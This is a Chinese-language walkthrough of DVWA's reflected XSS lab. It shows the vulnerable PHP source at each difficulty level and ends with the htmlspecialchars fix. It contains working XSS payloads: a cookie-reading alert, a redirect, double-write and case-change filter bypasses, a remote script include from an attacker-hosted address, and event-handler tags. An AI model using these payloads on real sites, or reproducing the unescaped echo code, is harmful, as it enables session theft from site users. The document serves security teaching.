XSS 简介

XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、 VBScript、ActiveX、 Flash 或者甚至是普通的 HTML

攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容

类型

反射型XSS:只是简单地把用户输入的数据反射给浏览器,攻击者往往需要去诱使用户点击一个恶意链接,才能攻击成

存储型XSS:将用户输入的数据存储在服务器端,每次用户访问都会被执行 js 脚本,例如一些论坛,评论区

DOM型XSS:文本对象模式 xss,通过修改页面的 DOM 节点形成的 XSS,可存储型,可反射型,只取决于输出地点

应用场景

钓鱼网站,广告弹窗,重定向,获取 cookie 等


Low

分析

先随便输入个 123

XSS-Reflected

由此可知,123 通过 GET 传参

并且输入框下显示了 Hello 123,猜测 php 代码可能类似于

1
echo "Hello " . $_GET['name'];

如果我们的输入为 <script>alert(‘hhh’)</script>,当其输出在网页上时,是否就会作为 html 代码来解释了呢

XSS-Reflected

可以看到,已经成功弹窗了

于是,所有 js 能做的事,都可以完成,比如跳转到其他网页,获取网页 cookie 等等

1
2
<script>window.location='https://www.baidu.com'</script>	<!--跳转到百度-->
<script>alert(document.cookie)</script> <!--获取cookie-->

XSS-Reflected


源码

1
2
3
4
5
6
7
8
9
10
11
// vulnerabilities/xss_r/source/low.php

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

不出所料,输入没有任何过滤就嵌入了 html 中


Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// vulnerabilities/xss_r/source/medium.php

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

medium 又做了个无用功,仅仅将 <script> 标签去除,我们有至少四种方法来绕过

双写绕过

1
<scr<script>ipt>alert('hhh')</script>

大小写绕过

1
<scRipt>alert('hhh')</script>

指定 script 标签的 src 属性

在自己服务器上新建个 test.js,内容为 alert(‘hhh’);

src 属性指定为该 js 脚本的路径

1
<script src="http://192.168.249.128/test.js"></script>

这样就可以达到包含远程 js 脚本的目的

使用其他标签

1
2
3
4
5
<a onclick=alert('hhh')>123</a>
<button onclick=alert('hhh')>123</button>
<body onload=alert('hhh')>
<img src='' onerror=alert('hhh')>
<iframe onload=alert('hhh')>

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// vulnerabilities/xss_r/source/high.php

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

high 中使用正则表达式来匹配 <script,且无视大小写,medium 中前三种方法都失效了

但我们仍旧可以使用其他标签来实现漏洞利用


Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// vulnerabilities/xss_r/source/impossible.php

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

想要防御反射型 XSS其实十分简单,只需要调用 htmlspecialchars 函数,将输入作为 html 实体来解释,就不会被执行了

XSS-Reflected